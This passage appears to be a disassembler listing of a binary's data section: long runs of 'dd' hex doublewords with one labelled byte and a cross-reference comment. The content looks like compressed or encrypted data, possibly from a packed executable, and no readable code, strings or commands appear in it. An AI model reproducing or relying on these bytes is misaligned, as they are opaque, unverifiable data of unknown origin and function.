		dd 0C09441A0h, 0BEC10800h, 0EC3565C7h, 10182837h, 43E10148h
		dd 0CDD1934Ch, 0A0A8B212h, 0D7AB307Ah, 0BD46187Ah, 0BC0AEA22h
		dd 0CFE3D7D3h, 5EC9093Bh, 48338D14h, 21015888h,	6049430Fh
		dd 5F7950B3h, 9A1D004Fh, 60B4BAA7h, 0E800CB35h,	399DBFF0h
		dd 225607h, 5CC97EEFh, 6A92CC50h, 622B9100h, 2ED0DFE2h
		dd 0B9590F41h, 0A340BF72h, 0A7E988CDh, 78F94B00h, 5F0DDAD4h
		dd 1FC1006Dh, 2F594EE0h, 0EA001E86h, 99AE0BC5h,	393BFD6Eh
		dd 0FC000FBCh, 0C022BF0h, 3900C296h, 5E11A14Ah,	1FD0406h
		dd 0EDFA1072h, 0D0A75227h, 0E027CD8h, 788E24FCh, 0E287C10Bh
		dd 1DADBE0h, 0F67E29FFh, 0C4767AD6h, 0E31F0A4Dh, 4AC3CB89h
		dd 0A0FD0CC1h, 79A833h,	8FA3C5DEh, 7170E5D0h, 0AD5CF200h
		dd 5384EFBAh, 0B7F9004Fh, 0D02DDAF6h, 7D305755h, 78CD108Ah
		dd 142FC88h, 0BA44C9C1h, 0C0903153h, 0DE0F5BEEh, 13A0059Ch
		dd 81636300h, 12B8217Bh, 0E65D55h, 7CDF11Fh, 2600489Dh
		dd 0BDF8E35Bh, 2C2B96Fh, 5D5C4750h, 0C5608F43h,	0B5F03130h
		dd 0BF271307h, 78D2414Ah, 4263D5h, 6DC4DAD1h, 836EFF7Fh
		dd 0DC2A4400h, 0BD89689Ah, 802C003Bh, 0D8CD460Fh, 3A7D7BC2h
		dd 704C2D1Bh, 0D04860E0h, 540F57EBh, 0F4E5E801h, 8B915DEh
		dd 4C51095h, 0E61F19B8h, 1C0FBBC1h, 24F78017h, 0A9CD4EBh
		dd 8910F5CCh, 193500D2h, 8C13CA9h, 14D00F28h, 0CE21D842h
		dd 518EA510h, 952C1191h, 2144523Ah, 0AE8A2284h,	50D91044h
		dd 0D31F1A2h, 0E0203009h, 18108124h, 96B1392Dh,	0BE756B00h
		dd 413B8802h, 0E2AD443Eh, 4CFA0003h, 12A4612h, 0D7AA9BBBh
		dd 0E823A8D9h, 4A000BBAh, 0F3154FC8h, 1C08F721h, 0C0C17525h
		dd 440AA7ACh, 2016F179h, 0E1003DE9h, 0E0815CD2h, 0AA431FF8h
		dd 0C2A881AEh, 0E01DE155h, 0C30110BAh, 98ADC918h, 0E8FB99A6h
		dd 2F21CCh, 6B896CF4h, 5575F0D7h, 62AB6507h, 72037EC1h
		dd 0F6D0D894h, 5807007Fh, 0E2967814h, 4B7391A9h, 463D5Ch
		dd 0AD183F55h, 38CCED8h, 4E950861h, 3850D186h, 0F500D798h
		dd 0F47AFC71h, 73CF2ADh, 0B37B596Dh, 124091F9h,	6F3DC4Bh
		dd 0A4BCF500h, 435A8E0Eh, 7558C03Bh, 0A8A96A16h, 0D080F803h
		dd 8CE2ACh, 0E4C6F040h,	0C889DDAh, 0AB13261Ch, 23089h
		dd 3499E746h, 0F16B0084h, 0EF5441DFh, 0B1002223h, 68BC513h
		dd 2E8EB9Dh, 0A649B2F7h, 0C740CB3Ah, 1B01A54Bh,	459FC667h
		dd 0BAF49A02h, 0F8410075h, 719DEF37h, 1D00725Eh, 1F6C664h
		dd 1E3DC0D1h, 0CE9AB2E7h, 6F411970h, 0C0FA6007h, 0F501C751h
		dd 5D3B25A3h, 0D04037DBh, 4DDDCCh, 0E091B79Ch, 43B68D24h
		dd 0D7944403h, 0E009A621h, 0EED6CAh, 0FF06B8DEh, 0D11E5F3Fh
		dd 6605F807h, 0A360421Dh, 9F14C7h, 96988E4Ah, 0B3F728DCh
		dd 0EE036571h, 75E285B2h, 0A6628837h, 0C10C0B7h, 68612D5Ch
		dd 0CFA420C3h, 3894E8EEh, 153007A0h, 0F0BC2190h, 0EC3C8C44h
		dd 87F2C707h, 0F5405B88h, 0FC41F6ACh, 593B0213h, 0B6E75C85h
		dd 2B5B1C40h, 0B0E8C752h, 57FDAEh, 0FAAF3C5Dh, 12358626h
		dd 0CD497101h, 13694BD9h, 1CF590C8h, 0D1B721h, 134D4A7h
		dd 7F1E6E36h, 10CC4704h, 98C4E870h, 4DCF00DFh, 4A7B6272h
		dd 4412D67Dh, 8C00BC32h, 2913AED9h, 6E252C50h, 867A009Dh
		dd 0E76DA64Fh, 198DF000h, 0F8319DE8h, 79AB0111h, 1851970Fh
		dd 0F4B4CDD9h, 2428CA5Ch, 8800F88Fh, 74709CDDh,	0E8DEE3h
		dd 3A464926h, 225994D1h, 0FA07A600h, 0D0B43643h, 0F45C1E09h
		dd 0E3C64068h, 7FADA9DFh, 54E91800h, 5CD4EF52h,	0C3B20E4Eh
		dd 0F3404F05h, 36666F11h, 71BD704h, 7480886Dh, 0F62C9E35h
		dd 0ABE206A8h, 118E295Dh, 0A2AADF04h, 0F200B035h, 623B1C98h
		dd 0C09E4303h, 0C016C3DBh, 192272Eh, 0EDB4CCBFh, 60FD0E26h
		dd 0B67514A6h, 0D101CDFEh, 3D875FA9h, 0C7C1DC08h, 0F9EAC20h
		dd 4F412967h, 0A80FC8A9h, 0AF560D00h, 0AB01EED8h, 548C01Eh
		dd 22C8AE84h, 0BCF707DCh, 0E04D9D7Ah, 0AD292338h, 6567EF00h
		dd 0F0B5EB10h, 0BBBF0018h, 0B3A0CA97h, 0FA3FCCEEh, 0EF4B83D8h
		dd 0E0A27D3Bh, 0C327F3h, 1D787204h, 25AF36CDh, 4C007FF0h
		dd 11155A60h, 0D27BBBh,	0E9E8C523h, 0DA854629h,	1E443C00h
		dd 0A561FB7Fh, 87C40313h, 7FD8D55h, 80AC52B9h, 0D7FEFC10h
		dd 3656BF7h, 271DD0E0h,	22FA6435h, 90BF23E0h, 383D5900h
		dd 5D7D2E1Bh, 2ED5F8CEh, 0E05330h, 0D6FD79A3h, 8500C7A9h
		dd 0E3B3873Ch, 407FEFh,	0C131BD5Fh, 198C8EAh, 26499602h
		dd 41754A9Eh, 36181CAh,	48146320h, 0CC009A34h, 128C7AC1h
		dd 5E0B8B1Dh, 80098640h, 1721B366h, 6BD000F6h, 68D40749h
		dd 630E5A4Fh, 80F5963Bh, 1B404258h, 0C17F0EFBh,	0B16036B0h
		dd 96144A9Ch, 59002DF6h, 26B37AA9h, 0F7B531Bh, 6BE27824h
		dd 0F15F809Dh, 7D27F68Dh, 0DF13280Fh, 32150091h, 0C0141952h
		dd 7EEC7A10h, 72006862h, 101FE292h, 0FF424h, 52266448h
		dd 7365B995h, 0F754F600h, 0D74BFE25h, 0D37C001Ah, 3501328Eh
		dd 61070509h, 301418F2h, 0F687E790h, 624D0712h,	10B02B26h
		dd 49BAA453h, 218B38h, 0D8DE33C5h, 1AD61Eh, 0D170CB16h
		dd 0FC854095h, 47AED500h, 7B9067A7h, 7B9F4CBCh,	3FD0C200h
		dd 0D10F4D6Ah, 42197307h, 60032B4Fh, 5477A0AEh,	707039h
		dd 8A220990h, 0CD99B510h, 0CC7D8401h, 0E4EEDBC9h, 1067BE4h
		dd 2EABDD48h, 0CD523796h, 0FE8CE057h, 8F548E02h, 8368C111h
		dd 90F284BDh, 0E2C5109h, 0F92F20C6h, 0A1C55CA0h, 2100102Bh
		dd 857B6535h, 5AD7EB3h,	2906EF9Fh, 0A5ADC36Eh, 1B201104h
		dd 0C0408075h, 0B121AACCh, 9AAE5B00h, 0ED45DC2Fh, 2A4F07A4h
		dd 0C0D61CA2h, 567104FFh, 0D57FEA00h, 0B435421Eh, 0EBCF2EBFh
		dd 9670000Ch, 25DF04Eh,	0ACE9CD3Dh, 0BD00FCF2h,	9479586Ch
		dd 2C6179E0h, 40EDC9h
		dd 0F1D3B94Ch, 291F0B07h, 0F5C0B42Ch, 70B3DB18h, 0E97D005Fh
		dd 0FD400D68h, 0EA03C4E1h, 59C9ECC5h, 5A13A0B2h, 0BE76CEF1h
		dd 52BCFE00h, 26003A6Bh, 4F5FE4F4h, 0C81AA3h, 4AE62CE2h
		dd 490FF91Eh, 4B287607h, 4C3669Ch, 0DC01D02Dh, 0C5A62EB8h
		dd 0D1FD00C7h, 0EAFA440Bh, 92D2EC04h, 60806647h, 30E8E73Ah
		dd 0AE127936h, 14244409h, 0BC0010A4h, 55315765h, 7BE90069h
		dd 0BF83FED6h, 0F0588BC4h, 33F30064h, 0B508D2Dh, 790D0086h
		dd 3067F23Eh, 5805B6CDh, 7EA8ED5Fh, 11E2DC00h, 175CB9Eh
		dd 0DD543C0Ch, 0E0D4BB81h, 51304503h, 0E05711E4h, 890246Dh
		dd 88400057h, 0EACC4BEFh, 15ED730Eh, 0E680A068h, 0A01B94C8h
		dd 54B0E9DCh, 46364EEh,	92908B5h, 779F407Bh, 98CC1A4Bh
		dd 0D7EC00B1h, 0CFA56BEDh, 0FD0EB8ADh, 60477E37h, 0D0D220F9h
		dd 796600E5h, 51D73546h, 0A1000BC1h, 7C69CE78h,	172A46Ch
		dd 380FC5EFh, 0C82F10A3h, 821ED560h, 4A9F0668h,	2B409A1Eh
		dd 48A25F0Bh, 0F9F10F7Fh, 6220CB81h, 12CD56EBh,	2A0F1B00h
		dd 0C4D8472Eh, 467E0006h, 81FB61B2h, 2113A41Ch,	34009A56h
		dd 86D6CD35h, 0E4303C6Ch, 0EC3B5709h, 70E65000h, 20285E85h
		dd 0F07EF751h, 88C3B601h, 0ED740ABAh, 2BD89D0h,	7C72B08Fh
		dd 6042EFC1h, 0B45C2C68h, 243B3278h, 0DD00FE79h, 7AB13818h
		dd 1FBFD683h, 5D150E8Fh, 0EB6700EDh, 47A327ABh,	0AD45E00h
		dd 26E26C32h, 0FC7A021Ch, 2E21D080h, 527BFC60h,	7940CF00h
		dd 0C987C7EFh, 368F0192h, 14ABF808h, 7E5FD43Eh,	188DC005h
		dd 74D051A6h, 1D837F12h, 40F6D7F0h, 0BBCF3655h,	7CBA52BDh
		dd 0C7B09F00h, 5D14F27Eh, 0B35501E1h, 0C8B8AEF1h, 76C080A7h
		dd 0B9A1067Dh, 5AE525DBh, 0F9107802h, 9EFA422h,	322ACC81h
		dd 0F7D1F036h, 0E319D400h, 0E94D3A5Bh, 19C97ADBh, 21356C7Fh
		dd 9C4EF027h, 7001E898h, 896EDE73h, 5D037C1h, 0E18F167Fh
		dd 75A70048h, 194EAA3Ah, 0AFCCE700h, 0C152023Eh, 397D0017h
		dd 6F8007D5h, 290AB7C6h, 837A2D58h, 0FDF50207h,	0DC5AEB30h
		dd 7F5C033Ah, 6C078F84h, 2995B800h, 8109A7CCh, 897C0C4Bh
		dd 9210CD19h, 9636427Bh, 31C2043h, 81C6A4BCh, 23F1563Eh
		dd 95C2E0BEh, 8121323Bh, 0A7908E1Bh, 6070CDF5h,	739E1016h
		dd 1A3EC0C8h, 7EA55Ch, 0FA4171F8h, 22942FD2h, 72AD431Dh
		dd 0DDFD8300h, 0ECFB69EBh, 1A610013h, 7AA0708Ch, 0FA07D22Bh
		dd 54E69316h, 634DA4B1h, 0DF5DE4h, 55E06447h, 0B112171Ah
		dd 33147D07h, 6630FCD9h, 3830B3Bh, 849A0DF8h, 92F86A5Bh
		dd 0AD0088C0h, 7B6B690Ah, 240113h, 6ADDF659h, 75899E48h
		dd 87128100h, 0A5B9BEF5h, 98FD481Ah, 0A6AFADCEh, 0E9D34200h
		dd 1E004B59h, 0CCE49950h, 16E7CA71h, 723405h, 0F86A12EFh
		dd 0DA0090BCh, 0F45F9AEEh, 716DEF7Fh, 64770034h, 0A1D2D8CEh
		dd 11125147h, 0ED01C33Ch, 0CCA0122Ah, 6A91ECh, 19A1320Bh
		dd 7B20105Ah, 147E0100h, 0B10F2493h, 4891CEDh, 82742C47h
		dd 9E06A6C9h, 20B4F441h, 39003194h, 856A8729h, 70C90979h
		dd 50AC0043h, 5C6C02C3h, 0F400FB2Bh, 6E63C6BCh,	0A0FFEA01h
		dd 2CB42A9h, 5EDA1ECDh,	0B080D154h, 350B0584h, 0F0D0B100h
		dd 318B94CEh, 550A0044h, 0E0A2E45Dh, 0E6001465h, 0DDB31A23h
		dd 52EC3Dh, 351BEFB2h, 126EAA6Ch, 0E149791Eh, 95C55E00h
		dd 0BD90CBh, 0C492B7EFh, 19DCDDD5h, 0E1E21600h,	11239834h
		dd 0A8DB0102h, 225F8A28h, 75D77095h, 8C573Dh, 0DA049BC6h
		dd 489372D2h, 7F000283h, 0DEFA1EBBh, 37766370h,	80C04F3Ah
		dd 0FD959D5Fh, 6F16DCh,	0E745A07Ah, 0B66AAFFEh,	0E04BD03Bh
		dd 2FA58311h, 0A2C90088h, 51A40AD8h, 8E1E7D1Ah,	0F300DE9Bh
		dd 97C1CD7Ah, 4A700754h, 8032F4DAh, 80748A2Dh, 0E3C2B00h
		dd 2090F6EEh, 69C600BEh, 2715731Bh, 3A76E226h, 4A606C02h
		dd 400C1F11h, 5C1B7075h, 333018E5h, 0C478C2F8h,	0F5487F01h
		dd 80C8FD55h, 88FE119Dh, 8680C3F9h, 0B7C21499h,	4A971CCAh
		dd 0BE2B8036h, 459BCEABh, 154F4900h, 0FEEDCBACh, 509200ECh
		dd 0F25864C5h, 0DE002D34h, 854F0A83h, 0BC048E0h, 74FA68EBh
		dd 965EF980h, 0A026F779h, 9F0020A2h, 0F0E7ECAEh, 4AA800FFh
		dd 72A66915h, 54003EDFh, 0F89CD3Fh, 2826949Bh, 1D9413E8h
		dd 0FAF7307h, 0E580457Eh, 36BD7D23h, 9B38B00h, 19D0F8CEh
		dd 4C0BE662h, 0CC00ADD5h, 154B9332h, 82EE958Ch,	17D9B701h
		dd 52903D28h, 0E0CAFBF7h, 0E2490ABFh, 97180025h, 2384061Dh
		dd 9200E0BDh, 63D994DFh, 0BF8ADBh, 91700DC8h, 0E885249Fh
		dd 0FCF23B00h, 8BCF2916h, 13C5394Eh, 3C7CA682h,	8480DD70h
		dd 172B8978h, 0DE31B00h, 0C4BBFCACh, 0AE90D9h, 3A15C04Eh
		dd 1CA1483Fh, 2057D600h, 0E62F5389h, 0AAEB0532h, 809331C6h
		dd 5B6449D4h, 0F3C3DA05h, 9D8020FFh, 0F04765B3h, 0F2EE03h
		dd 46AFD12Fh, 8B09DFD8h, 1FD4911Eh, 8D8A80FAh, 428FA3DEh
		dd 0E4DB0060h, 7CFDF43Fh, 7405BBBFh, 4A49974Ch,	555C8100h
		dd 792DC367h, 5E7500BEh, 61AAD129h, 170016F7h, 6B8EB7DFh
		dd 14C33919h, 98E49D1Bh, 3E97340Eh, 0C5026220h,	8330DF96h
		dd 0B9D01146h, 804AF4E4h, 0EE005350h, 4483A634h, 78033AE0h
		dd 9FBA00C5h, 1B29E168h, 8400527Fh, 33E34CBCh, 735CF19h
		dd 67301EBh, 870D3050h,	6A7411D1h, 74A836Bh, 0C010D48Ch
		dd 0EC37F1Ch, 0D523BAF5h, 858048AFh, 0B983585Ah, 0ECF8AA7Fh
		dd 7A033B7Eh, 5EE4F081h, 7E33981Fh, 0FC0B242Ah,	0E377000Dh
		dd 64184E44h, 39F1FA00h, 0B68F2306h, 33DB009Ah,	3E79E8A2h
		dd 4B71E45Fh, 3130EA00h, 0CA4567BAh, 51850020h,	1B4EBF2Dh
		dd 1839C361h, 6B588022h, 0F515217Dh, 85060A0Bh,	0A09A55h
		dd 5875D7D8h, 4A00CB03h, 0AFD00AABh, 0CBC9Dh, 2BD6E30Dh
		dd 0C676CF34h, 0AEAC9F00h, 0CAD5077Eh, 0C0680017h, 3CCEB167h
		dd 0F6006E9Ah, 556BBC4Ch, 0FC8D34A2h, 8F8602C6h, 816271Dh
		dd 1205D8A1h, 209034A6h, 816F483Bh, 9A6E5814h, 988F759Fh
		dd 0AF00701Ah, 0ED951E68h, 797DA00h, 35613A51h,	0B3770954h
		dd 1A005E56h, 576A6D1Ah, 3882239h, 1FBC2363h, 0DBE10F58h
		dd 60D95E68h, 9880803Eh, 9403D9Eh, 78A700B8h, 48C13C07h
		dd 6B07A030h, 223B23E1h, 0E16E6292h, 0D6DC3F6Ah, 0BE350778h
		dd 9FF158E7h, 0FAA16CF4h, 0F2F41CA7h, 0BD4500CFh, 4A635DA0h
		db 6
byte_4E0049	db 6Dh,	7, 43h		; DATA XREF: ___:0042CC94o
		dd 47F6ECB2h, 0FC095A30h, 5C14002Ah, 0C2A3D6C6h, 0C058E474h
		dd 6EF90096h, 0BA962F5Bh, 0EFF54817h, 0C5BC030Fh, 7B6C2BE0h
		dd 240FF772h, 83B36305h, 0E8D26254h, 0EA918F15h, 9F6D003Eh
		dd 0D9B2E21Fh, 8702468Ah, 821E7E58h, 4BC74060h,	40B100E0h
		dd 6C97E668h, 0A5C5B66h, 0EC6D002Bh, 0BA9B927Dh, 4A60EFEh
		dd 3980A3C2h, 0B6B2B957h, 6E4CE11Fh, 7685FC40h,	43F0F3h
		dd 9F385F32h, 0A11B3E34h, 92DD88A8h, 0A8F24977h, 0EF22C4A1h
		dd 21A40830h, 0E498A6Bh, 12948B54h, 7F77E580h, 3C00D5A3h
		dd 0DB89E4A2h, 1EB6D8F1h, 85950880h, 403F8287h,	158E43E8h
		dd 9F12B421h, 4B180E78h, 0C3A26908h, 15777C20h,	240084A3h
		dd 0D7E172C4h, 18DE6DBCh, 28838A5Ah, 76154002h,	7E80C3Ch
		dd 8FFEA478h, 58C69710h, 87C6607h, 0C900217Eh, 8F9BFEA8h
		dd 37508F0h, 0D7E03856h, 585554C4h, 8D599140h, 8CFEAB80h
		dd 0E68C7F8Fh, 92C98322h, 19BAC8FDh, 0D623F700h, 3CCF94EBh
		dd 52ED808Eh, 61303E50h, 9859F361h, 8DE073A5h, 3188052Bh
		dd 0C680DEh, 5DDBA398h,	3B8839AFh, 0A0AC5AA0h, 69F0C70Fh
		dd 402C58C2h, 9E549070h, 8F911CFDh, 669161C7h, 0FEAA230Bh
		dd 889D0A80h, 7800F8DCh, 0B63B469Ah, 3166C338h,	290A056h
		dd 0FCD5D080h, 9B347502h, 807A6CE9h, 97F41498h,	53F8004Ch
		dd 933558E0h, 7C0F339Fh, 0E0DE769Ah, 316C45C4h,	9DE23857h
		dd 0ECD34307h, 0D247F020h, 0CB0E98B5h, 20C359FBh, 7D7F815Eh
		dd 13AD0B03h, 8F8093C8h, 7558A63Eh, 0DB146E00h,	82911534h
		dd 0F15EFEF8h, 0BD543D8h, 4CAA6F74h, 4B2387h, 0C721DA9Bh
		dd 983FED03h, 0C9961F41h, 3BC05120h, 5C3C0079h,	40805D21h
		dd 303E197h, 0FC41919Ah, 0E5F3A081h, 5060060h, 23964725h
		dd 0A6604FFAh, 615CB708h, 8E120016h, 35468104h,	0F5003137h
		dd 0A2B313DBh, 6D5173h,	522D3A23h, 7A0664CEh, 484C773Ch
		dd 60F20035h, 9722EE16h, 0D88D0333h, 58844D3Ch,	5CD0580Bh
		dd 66FD031Dh, 0F640036Ch, 67682B60h, 0BDBC2102h, 61D3F9C0h
		dd 85C9CC8Fh, 7CC6088Ch, 0B4009D20h, 382EF3C0h,	5DD57BDh
		dd 693B18C2h, 20280873h, 0D9C0BEC3h, 90E95D3h, 0FC0B99Ah
		dd 2400DE4Ah, 502D0169h, 1FF90C0Ch, 0E494C67h, 0C936EC00h
		dd 6CF05B3h, 4172C0h, 0BEB51D7Fh, 9599C387h, 0F061D000h
		dd 46E0AEE6h, 9E900073h, 56DD7614h, 19002C1Fh, 8B216C24h
		dd 5BBF5C7h, 6B9CA061h,	0F9BBC07Ch, 0A6058E5Ch,	143F16ACh
		dd 23AEDC0h, 0B5800065h, 0BE9A322Eh, 8503BD4Dh,	334EE703h
		dd 978AE0DEh, 95CF007Fh, 78926F6Dh, 0C405301Ah,	58C2FFF1h
		dd 572E1180h, 2CB400A8h, 0ED6C8231h, 0C00BAB9h,	81A51A61h
		dd 7AEF50h, 7862BE20h, 2C019102h, 80D17D00h, 0D3170E63h
		dd 937623h, 452F7B77h, 687F827Eh, 9EF027E6h, 96B9CB01h
		dd 0D1AC4BB8h, 2071FCh,	9BC72B37h, 5B87EEDFh, 0D5682300h
		dd 5077BDE7h, 847E2418h, 97260062h, 0B3A6C541h,	0FA1D4000h
		dd 1E1BB116h, 40E86FE6h, 6C0D7887h, 0D8336818h,	0E0D65829h
		dd 0EDFA0CAh, 155CC242h, 64F2DA80h, 0EC00A873h,	8D7150DDh
		dd 7DD5174Dh, 6EC2000Dh, 0E7FE6076h, 400109C3h,	5F70A6C0h
		dd 188312A3h, 4836160Bh, 2133D888h, 583A0F0Fh, 3495C309h
		dd 62280024h, 860DC8D1h, 0B20646ECh, 0FD4C5FE0h, 35C72788h
		dd 11DA6B86h, 0D9A86C00h, 0A8C88EFh, 0FE560147h, 378727F1h
		dd 0AE905035h, 183C8455h, 0FF2E00A8h, 588FEB95h, 0E4870F97h
		dd 0B1604813h, 0A0924174h, 211F44F0h, 67402D8Fh, 0E848CAB7h
		dd 357DD6h, 0B972E5Fh, 0FB88AA4Ah, 7000F4E6h, 961A0231h
		dd 777EC304h, 0B358392Ch, 90D92502h, 4C409F6Ch,	0AA00F6FFh
		dd 14B9E997h, 50FB3C53h, 0C3F19045h, 307D2148h,	381E5FE3h
		dd 28060E91h, 1062CFh, 658354EEh, 0EB7B4395h, 91B69703h
		dd 0C0F6AE2Bh, 1B41A76Eh, 5869E3A8h, 0F74F1801h, 8B556C8h
		dd 7B4426E0h, 5D8300E9h, 697F9ADEh, 5860BBA8h, 3FF24130h
		dd 0ED6A036Eh, 248F89E7h, 0E42D1800h, 5B301C71h, 8588C166h
		dd 0FC9B7510h, 19188CD2h, 5DC143DFh, 0DA4C14E5h, 30788289h
		dd 7019EFE4h, 6D00F2A0h, 0DFBB54F1h, 0CEC2F0Dh,	27448F16h
		dd 54F92AEh, 10689AB8h,	5B067704h, 100C31h, 73839104h
		dd 1A0D98BBh, 7AF60E00h, 0E1C3C4B6h, 1F1100AFh,	0AB01E53Dh
		dd 3303C9CCh, 96593894h, 4D0790EEh, 7B2EFCD6h, 35D7ADEh
		dd 6548313Ah, 39C9885Ah, 83C6E0A5h, 0D900BDFAh,	41AB5657h
		dd 79C298Ch, 3B738824h,	0A9504055h, 600982Ch, 3322A8C5h
		dd 4B1E329h, 0C65F3F31h, 39578304h, 2A9EABB8h, 0B2AED600h
		dd 0C12DD227h, 0DA21000Eh, 0E758CE9Ch, 4F004845h, 0DDB86D11h
		dd 51E388h, 67C2A1A8h, 7F85F93h, 0E41BBD03h, 0E0658414h
		dd 7DC395h, 412032E8h, 90756D9h, 3BADC00h, 3D2AB8F7h, 0E69800E3h
		dd 0CB043A5Ah, 69C06B74h, 0D8B91C5h, 0A3C4019Fh, 5CA91AAEh
		dd 3BB050B8h, 98E4D79Ch, 73950E07h, 2FF004ADh, 807856h
		dd 6E019EBBh, 3D60CF74h, 0A4F4A500h, 214F8D37h,	0E4CE15B1h
		dd 0C300DC12h, 0D589315Ch, 0B30B588h, 0FA0F305Bh, 3FA3006Ch
		dd 36385083h, 567D9C4Dh, 521AA103h, 0F30B96BBh,	0FAF980E6h
		dd 5D030E37h, 81E0E87Fh, 0E952B0A0h, 88D14703h,	0F8E1A940h
		dd 0CCA245h, 99FFDFCFh,	492BF55Ch, 0D189E603h, 3BCA64Ah
		dd 19B8CAC4h, 33C0A0C0h, 355869C5h, 1541038Bh, 0CEBD1Ch
		dd 58279BA0h, 0EF441FABh, 55227100h, 46A296FEh,	0A644F35Eh
		dd 0DCF5B800h, 9BA8FCAh, 7E6E2F32h, 0A5865400h,	4400D7CDh
		dd 4FB2C8D6h, 260A35B0h, 70CA146h, 50F9B7C2h, 65BAC3CCh
		dd 0D3D7BE01h, 7618D6CEh, 34859E8h, 0D2ACED92h,	1A01237h
		dd 0F4A8BBD7h, 0B5008E7Dh, 0D64664DAh, 0D50351h, 9D5513F0h
		dd 8EDCE7B9h, 0EED07100h, 0CC071F72h, 263571CBh, 9808A9h
		dd 0D14FE136h, 2B006FCEh, 3EA3AFC9h, 12739141h,	5DAE8DD3h
		dd 65A841B8h, 803C80BAh, 32DCAD0h, 796CD8h, 0AD6EA7B6h
		dd 0B560A9C5h, 3CBE3900h, 0D7F8B954h, 0A472000Dh, 413F0486h
		dd 8AF29D66h, 0DCF63E09h, 5007DDB9h, 0B0CB022h,	0FA147054h
		dd 0BC595Ch, 75F0DC6Fh,	78E26D3h, 2742C465h, 0AD4B70AAh
		dd 9A30632Fh, 174AA1FEh, 6F550F0Ah, 8220B983h, 0E8FB26EAh
		dd 0B15CFD00h, 0E7B3A2F4h, 0FFEE0091h, 47EB4551h, 900019B2h
		dd 1FDD9A54h, 8A07ACh, 728C52F8h, 0FF4B35A9h, 80D0FE39h
		dd 92FCC4A4h, 37811D9h,	642EE9C3h, 4FC852D5h, 743A6701h
		dd 47568F13h, 98A8018Bh, 60800CAAh, 2CC391ECh, 0B40CC06Dh
		dd 18262E9Ch, 0C44A076Eh, 0D07DAA63h, 69EF9A55h, 232C4400h
		dd 0A358963Fh, 0AB8B18DFh, 0AAF23014h, 6053901h, 0B818A5C4h
		dd 0FE6CAB20h, 0CF34004Fh, 0ACB16D25h, 0C60091D6h, 0A4FE445Fh
		dd 14EFA9Fh, 0C891D82h,	8143B93Eh, 0E8440718h, 40836EB5h
		dd 35089677h, 383623A8h, 323F7300h, 6A19674Ch, 291C0F6Ch
		dd 41FCB6B0h, 0FAE837DCh, 4157E6CCh, 0AD17F2Eh,	4DC66F70h
		dd 3B50D08Ch, 0EFD0079h, 0CAEF8940h, 0BA00CE51h, 8CAE4F3Ah
		dd 161DC86h, 3592210h, 0F412A2F8h, 290039D0h, 5C0E2DF9h
		dd 0FAB552FBh, 0F3A41F19h, 1383C06Eh, 0A666865h, 7556AE0Fh
		dd 97C32037h, 518DE05h,	990CACA4h, 0FB2CC3E8h, 59149600h
		dd 0D5D92F1Bh
		dd 4E5B019Fh, 0D4CCD656h, 934C3454h, 51CE0E12h,	0D8341500h
		dd 0CC84ED3h, 21DC4A2Fh, 51007611h, 70E20A6Bh, 426C58h
		dd 253D5A17h, 40B7C322h, 311DDA0Eh, 6040526Fh, 0D272DCFFh
		dd 0AD993F7Ah, 65C04485h, 289040FAh, 70ED350Fh,	802CBB3Ah
		dd 0CB875A5Ch, 269CCFCh, 69F19DEh, 0D0851B57h, 0C5B901F7h
		dd 0E5BA40A1h, 0EE33D493h, 582A310Bh, 1253004Fh, 79CE8EAh
		dd 0DDC485A6h, 35A4C010h, 5767D795h, 0DC8002E6h, 30550BC9h
		dd 0E610992Eh, 9008548h, 1274256Eh, 17F5A1h, 0C194A215h
		dd 29ACE323h, 20795D0Eh, 0F3E0065h, 7402F27Eh, 0A6260188h
		dd 40684DCFh, 0F551C890h, 362EC07Fh, 0D80EF405h, 6EFA009Bh
		dd 71145Dh, 0F6E1488Dh,	0C9509731h, 0F56DC803h,	8863AF4Fh
		dd 340DE228h, 96A0091Dh, 0C100A184h, 472BC73Ch,	0E775A61h
		dd 0F30B8879h, 2291FBE0h, 0A00E31Bh, 1D57CA0h, 1D72B2h
		dd 1F421ADDh, 63D2168Dh, 5FDB5A00h, 3AAE4BDEh, 0BB5E0AA9h
		dd 9B67AA5h, 6584F073h,	325B800Ah, 0D6009A83h, 645B4463h
		dd 183306h, 0E84B6CEh, 0D93A0A41h, 26E77B1Ch, 0DF7305C1h
		dd 0EAC8515Dh, 0DCD400B3h, 0D06841E0h, 0A874428Eh, 0A9B12E00h
		dd 0B8ADBE5Dh, 9B953B3Fh, 12EA3B80h, 0D0E56489h, 0B4D37E00h
		dd 0B680D514h, 0F8D006Ch, 0E967FA2Bh, 0AF002F9Dh, 52206FF6h
		dd 24821AB7h, 0B96008DCh, 0A5E94D80h, 0DE995EF2h, 0EF84B91Ch
		dd 0B2930C40h, 0A0CE52h, 0DB09FBAFh, 0D46BDC4h,	0A70E58ECh
		dd 40A52EE4h, 20F584A3h, 0C5F300D6h, 98E5DC6Ch,	0F8BDF174h
		dd 0D9F80009h, 0CCFB8A9Ch, 0D3B92BDh, 218282C1h, 403389ADh
		dd 7F6104h, 27449CD1h, 3611B676h, 0A0FFE8E9h, 7ED434E5h
		dd 0E44B672Eh, 0DF52CC80h, 0E8E2C7D8h, 8F8431DCh, 0F00AC618h
		dd 0C0319F9h, 5A109676h, 2530A91Bh, 0EE664DE0h,	119E0E78h
		dd 90833F92h, 6103135Bh, 0E4C739FEh, 0A8383578h, 6DB84020h
		dd 0F183EB5Ah, 9CA80DE2h, 0C018CF0Eh, 0E62893BAh, 0F892726Ch
		dd 842F00CAh, 1BB39C22h, 2300D6D1h, 1424C12h, 0F6280A79h
		dd 16F42E04h, 64B51FD7h, 0DEDD00F5h, 0D1FFD613h, 0B47FEB0Eh
		dd 9624E0CBh, 3A08647h,	56FE0BC8h, 58F00865h, 8300D51Ah
		dd 0ABE36CCBh, 0FD28242h, 2380DC91h, 8BB52060h,	0F9023B88h
		dd 4B55A409h, 8DC0DF92h, 6500CBA3h, 50B00B9Eh, 3E68589h
		dd 0F9A8B103h, 0B2A08E38h, 0B8006E77h, 0BC363CA2h, 791AFD90h
		dd 0F3DC24C4h, 0F5803FB4h, 0BFA4B23Ah, 700F4FAh, 0A91355F2h
		dd 487E474Ah, 86078558h, 0A927389h, 2DEC80B0h, 6C753208h
		dd 625EC700h, 1625589Bh, 97B4A87Bh, 2C9E07A2h, 90FF9C10h
		dd 0EDBBCB60h, 334AA81Fh, 886A48B3h, 6434611h, 0D3CB3501h
		dd 0F0BA20D6h, 71CEF6E0h, 52C0A044h, 39CFEE7h, 0DB6DCD06h
		dd 3003CE12h, 0EACAFB89h, 739000Ch, 61B839A5h, 3119C0AFh
